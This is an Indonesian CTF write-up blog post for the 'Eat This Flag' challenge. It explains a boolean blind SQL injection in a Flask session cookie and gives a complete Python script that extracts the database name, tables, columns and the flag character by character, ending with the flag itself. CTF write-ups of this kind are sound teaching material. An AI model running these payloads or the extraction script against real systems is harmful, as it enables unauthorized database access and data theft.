Writeup CTFR Eat This Flag

Khairu Aqsara Sudirman

Khairu Aqsara Sudirman

Mar 30, 2021 — 7 mins read

Diberikan sebuah link yang beralamat di http://103.157.96.13:7787/, setelah dibuka tidak ada yang menarik dari halaman yang diberikan, sesuai deskripsi challengenya, Eat This Flag dan ada kata-kata bisa dimakan kemungkinan informasinya ada didalam Cookie, setelah di cek Cookie bernilai kosong dan pada source halaman web terdapat keterangan berupa komentar <!-- C --> setelah di refresh Cookie bernilai Flask-Session-ID:6tvppjrkszesijr8nayu4r49fe dan komentar pada halaman web menjadi <!-- CTFR -->

Awalnya saya berpikir ini sebuah Header Injection atau sejenisnya, setelah mencoba-coba ternyata tidak membuahkan hasil, komentar tetap berada antara <!--C--> atau <!--CTFR-->, kemudian saya mencoba memasukan payload SQL Injection pada value Cookie dan hasilnya adalah <!--C-->, setelah mencoba beberapa payload dan hasilnya tetap sama saja, jika request baru dan memberikan payload SQLInjection hasilnya akan <!--C--> tetapi jika menggunakan Cookie yang sama tetapi menghilangkan payload SQLInjectionya hasilnya adalah <!--CTFR-->, disini saya menyimpulkan jika ini merupakan Blind SQL Injection dengan kondisi akan bernilai True dengan Payload jika Cookie nya baru, berikut beberapa hasil percobaan saya

Flask-Session-ID:6tvppjrkszesijr8nayu4r49fe' = <!--C-->
Flask-Session-ID:6tvppjrkszesijr8nayu4r49fe  = <!--CTFR-->
Flask-Session-ID:6tvppjrkszesijr8nayu4rxxx' AND 1=1#  = <!--CTFR-->

Dengan berbekal informasi tersebut, saya mencoba membuat sebuah script sederhana untuk melakukan Otomasisasi Blind SQL Injection nya, karena semua payload akan bernilai true jika Cookie nya baru, artinya sebelum mengirimkan payload harus request Cookie baru.

def get_cookies():
	req = requests.get(url)
	res = req.cookies.get_dict()['Flask-Session-ID']
	return res

Dan karena ini merupakan Blind SQL Injection, Exploitasinya sedikit berbeda dengan Error based SQL Injection, harus mencari informasi satu-persatu, dalam kasus ini saya harus mencari nama database, nama tabel, jumlah kolom dalam tabel, nama kolom dalam tabel baru lah terakhir mencari tau isi dari kolom-kolom yang ada dalam tabel disuatu database.

def cari_dbname():
	# cari panjang db string
	panjang_db = 0
	dbname = ''

	print("[#] Mencari Panjang Database")
	for x in range(1,20):
		payload = f"' and (select length(database()))={x}#"
		co = get_cookies()+ f"{payload}"
		cookies = {'Flask-Session-ID' :  co }
		req = requests.get(url, cookies=cookies)
		res = req.text
		if 'CTFR' in res:
			panjang_db = x
			break
	print("[#] Ditemukan Panjang DB {}".format(str(panjang_db)))
	print("[#] Mencari Nama Database")

	for x in range(1,(panjang_db + 1)):
		for c in karakter:
			ch = ord(c)
			payload = f"' and (select ascii(substring(database(), {x}, 1)))={ch}#"
			co = get_cookies()+ f"{payload}"
			cookies = {'Flask-Session-ID' :  co }
			req = requests.get(url, cookies=cookies)
			res = req.text
			if 'CTFR' in res:
				dbname+=c
				break
	print(f"[#] Database : {dbname}")

setetalah mencoba menjalankan script tersebut saya mendapatkan nama databasenya, disini saya menggunakan tebak menebak, pertama cari tau dulu panjang string dari nama database dengan perintah and (select length(database()))={x}# dimana jika hasilnya <!--CTFR--> pada posisi x maka panjang string nama database adalah x, misalnya x=7 dan hasilnya adalah <!--CTFR--> artinya nama database sepanjang 7 karakter.

Kemudian setelah panjang karakter dari nama database didapatkan, selanjutnya mencari tau karakter pertama dari panjang string nama database, disini saya menggunakan perintah SQL and (select ascii(substring(database(), {x}, 1)))={ch} dimana {x} adalah karakter ke dan {ch} adalah ordinal dari karakter tersebut, sama halnya dengan mencari pangjang karater sebelumnya, jika hasilnya <!--CTFR--> artinya karakter pertama dan seterusnya benar.

sebenarnya ini tidak wajib dilakukan, tetapi saya raya ini cukup penting, peserta lain pastinya menggunakan cara yang berbeda dengan saya, karena sebenarnya cara exploitasi Blind SQL injection ini cukup beragam, selanjutnya dengan cara yang sama, mencari tau informasi lainya, seperti Jumlah Tabel, Panjang Karakter nama Tabel dilanjutkan dengan mencari tau String dari nama tabel yang ada.

def cari_tblname():
	#cari jumlah table
	print("[#] Mencari Jumlah Table")
	jml_table = 0
	for x in range(1,10):
		payload = f"' and (select count(*) from information_schema.tables WHERE table_schema=database())={x}#"
		co = get_cookies()+ f"{payload}"
		cookies = {'Flask-Session-ID' :  co }
		req = requests.get(url, cookies=cookies)
		res = req.text
		if 'CTFR' in res:
			jml_table=x
			break

	print(f"[#] Jumlah Table : {jml_table}")

	#cari nama tabel
	panjang_nm_table = []
	for i in range(0, jml_table):
		# cek panjang table ke i
		print(f"[#] Mencari panjang Table Ke : {i+1}")
		for j in range(1,10):
			payload = f"' and (select length(table_name) from information_schema.tables where table_schema=database() LIMIT {i},1)={j}#"
			co = get_cookies()+ f"{payload}"
			cookies = {'Flask-Session-ID' :  co }
			req = requests.get(url, cookies=cookies)
			res = req.text
			if 'CTFR' in res:
				panjang_nm_table.append(j)
				print(f"[#] Panjang Table Ke : {i+1} = {j}")
				break
	# Cari nama Tabel
	final_table = []
	for n in range(len(panjang_nm_table)):
		print(f"[#] Mencari table ke : {n + 1}")
		tbl = ''
		for num in range(1, (panjang_nm_table[n] + 1)):
			for c in karakter:
				ch = ord(c)
				payload = f"' and (select ascii(substr(table_name,{num},1)) from information_schema.tables where table_schema=database() limit {n},1) = {ch}#"
				co = get_cookies()+ f"{payload}"
				cookies = {'Flask-Session-ID' :  co }
				req = requests.get(url, cookies=cookies)
				res = req.text
				if 'CTFR' in res:
					tbl+=c
					break
		final_table.append(tbl)
		print(f"[#] Table ke : {n + 1} = {tbl}")
	return final_table

Sama halnya dengan proses-proses sebelumnya, saya rasa jika teman-teman terbiasa dengan perintah-perintah SQL hal ini tentunya tidak asing, berikut Script Sederhana saya dalam melakukan Exploitasi pada Challenge ini.

import requests

url = 'http://103.157.96.13:7787/'
karakter = 'CTFRabcdefghijklmnopqrstuvwxyz0123456789_{}?'


"""
request new Cookies
"""
def get_cookies():
	req = requests.get(url)
	res = req.cookies.get_dict()['Flask-Session-ID']
	return res

"""
Cari nama database
"""
def cari_dbname():
	# cari panjang db string
	panjang_db = 0
	dbname = ''

	print("[#] Mencari Panjang Database")
	for x in range(1,20):
		payload = f"' and (select length(database()))={x}#"
		co = get_cookies()+ f"{payload}"
		cookies = {'Flask-Session-ID' :  co }
		req = requests.get(url, cookies=cookies)
		res = req.text
		if 'CTFR' in res:
			panjang_db = x
			break
	print("[#] Ditemukan Panjang DB {}".format(str(panjang_db)))
	print("[#] Mencari Nama Database")

	for x in range(1,(panjang_db + 1)):
		for c in karakter:
			ch = ord(c)
			payload = f"' and (select ascii(substring(database(), {x}, 1)))={ch}#"
			co = get_cookies()+ f"{payload}"
			cookies = {'Flask-Session-ID' :  co }
			req = requests.get(url, cookies=cookies)
			res = req.text
			if 'CTFR' in res:
				dbname+=c
				break
	print(f"[#] Database : {dbname}")

"""
cari nama tabel
"""
def cari_tblname():
	#cari jumlah table
	print("[#] Mencari Jumlah Table")
	jml_table = 0
	for x in range(1,10):
		payload = f"' and (select count(*) from information_schema.tables WHERE table_schema=database())={x}#"
		co = get_cookies()+ f"{payload}"
		cookies = {'Flask-Session-ID' :  co }
		req = requests.get(url, cookies=cookies)
		res = req.text
		if 'CTFR' in res:
			jml_table=x
			break

	print(f"[#] Jumlah Table : {jml_table}")

	#cari nama tabel
	panjang_nm_table = []
	for i in range(0, jml_table):
		# cek panjang table ke i
		print(f"[#] Mencari panjang Table Ke : {i+1}")
		for j in range(1,10):
			payload = f"' and (select length(table_name) from information_schema.tables where table_schema=database() LIMIT {i},1)={j}#"
			co = get_cookies()+ f"{payload}"
			cookies = {'Flask-Session-ID' :  co }
			req = requests.get(url, cookies=cookies)
			res = req.text
			if 'CTFR' in res:
				panjang_nm_table.append(j)
				print(f"[#] Panjang Table Ke : {i+1} = {j}")
				break
	# Cari nama Tabel
	final_table = []
	for n in range(len(panjang_nm_table)):
		print(f"[#] Mencari table ke : {n + 1}")
		tbl = ''
		for num in range(1, (panjang_nm_table[n] + 1)):
			for c in karakter:
				ch = ord(c)
				payload = f"' and (select ascii(substr(table_name,{num},1)) from information_schema.tables where table_schema=database() limit {n},1) = {ch}#"
				co = get_cookies()+ f"{payload}"
				cookies = {'Flask-Session-ID' :  co }
				req = requests.get(url, cookies=cookies)
				res = req.text
				if 'CTFR' in res:
					tbl+=c
					break
		final_table.append(tbl)
		print(f"[#] Table ke : {n + 1} = {tbl}")
	return final_table


"""
cari kolom
1.data
2.session
"""
def cari_kolom():
	table = ['data','session']
	# cari jumlah kolom
	for t in table:
		print(f"[#] Mencari Jumlah Kolom pada table {t}")
		for jml in range(1, 10):
			payload=f"' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{t}')={jml}#"
			co = get_cookies()+ f"{payload}"
			cookies = {'Flask-Session-ID' :  co }
			req = requests.get(url, cookies=cookies)
			res = req.text
			if 'CTFR' in res:
				print(f"[#] jumlah kolom table {t} = {jml}")
				for k in range(jml):
					print(f"[#] Mencari panjang kolom ke {k+1} table {t}")
					for p in range(1,10):
						payload = f"' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='{t}' limit {k},1)={p}#"
						co = get_cookies()+ f"{payload}"
						cookies = {'Flask-Session-ID' :  co }
						req = requests.get(url, cookies=cookies)
						res = req.text
						if 'CTFR' in res:
							print(f"[#] panjang kolom ke {k+1} table {t} = {p}")
							print(f"[#] Mencari nama kolom ke : {k + 1}")
							final_kolom = []
							for z in range(1,(p+1)):
								nm_kolom = ''
								for c in karakter:
									ch = ord(c)
									payload = f"' and (select ascii(substr(column_name,{z},1)) from information_schema.columns where table_schema=database() and table_name='{t}' limit {k},1) = {ch}#"
									co = get_cookies()+ f"{payload}"
									cookies = {'Flask-Session-ID' :  co }
									req = requests.get(url, cookies=cookies)
									res = req.text
									if 'CTFR' in res:
										nm_kolom+=c
										break
								final_kolom.append(nm_kolom)
							final_kolom = ''.join(final_kolom)
							print(f"[#] Kolom table {t} {final_kolom}")
							break
				break




"""
cari Content Flag
table = data
kolom = text
"""
def cari_flag(t,c):
	# cari jumlah record di tabel data
	for i in range(1,10):
		payload = f"' and (select count(*) from {t})={i}#"
		co = get_cookies()+ f"{payload}"
		cookies = {'Flask-Session-ID' :  co }
		req = requests.get(url, cookies=cookies)
		res = req.text
		if 'CTFR' in res:
			print(f"[+] Jumlah data di table {t} : {i}")
			for j in range(0,i):
				print(f"Mencari panjang data ke {j}")
				for k in range(100):
					payload = f"' and (select length({c}) from data limit 1)={k}#"
					co = get_cookies()+ f"{payload}"
					cookies = {'Flask-Session-ID' :  co }
					req = requests.get(url, cookies=cookies)
					res = req.text
					if 'CTFR' in res:
						print(f"[+] Panjang Data : {k}")
						print("[+] Mengambil data")
						d = ''
						for jk in range(1,(k + 1)):
							for cx in karakter:
								ch = ord(cx)
								payload = f"' and (select ascii(substr({c}, {jk}, 1)) from {t} limit 1)={ch}#"
								co = get_cookies()+ f"{payload}"
								cookies = {'Flask-Session-ID' :  co }
								req = requests.get(url, cookies=cookies)
								res = req.text
								if 'CTFR' in res:
									d+=cx
									print(f"[!] Flag : {d}")
									break
						break
			break

cari_dbname()		
cari_tblname()
cari_kolom()
cari_flag('data','text')

Yah tidak begitu rapi memang, amburadul dan tidak jelas, tatapi hasil akhirnya cukup lah untuk menyelesaiakan challenge ini.

CTFR{n0w_y0u_l34rn1n9_h0w_t0_bl1nd_5ql_1nj3ct10n}
writeup ctf Web Exploitation
Read More

Writeup CTFR Tinggal Dimana

jika dilihat dari source yang diberikan, kita bisa simpulkan jika vulnerability nya berada pada pada bagian gets(target); kemudian dengan melakukan buffer overflow dan meng-overwrite ((void(*)())target)();

Read More

Writeup CTFR PyGame

Challenge ini merupakan salah satu challenge yang cukup sulit menurut saya, bahkan mungkin sangat sulit sejauh saya mengikuti CTFR, mungkin karena ketidak tahuan saya dalam membaca petunjuk dan maksud dari challengenya, deskripsinya juga sangat sederhana, tidak banyak yang bisa diambil sebagai petunjuk, satu-satunya petunjuk hanya merujuk pada gambar yang diberikan.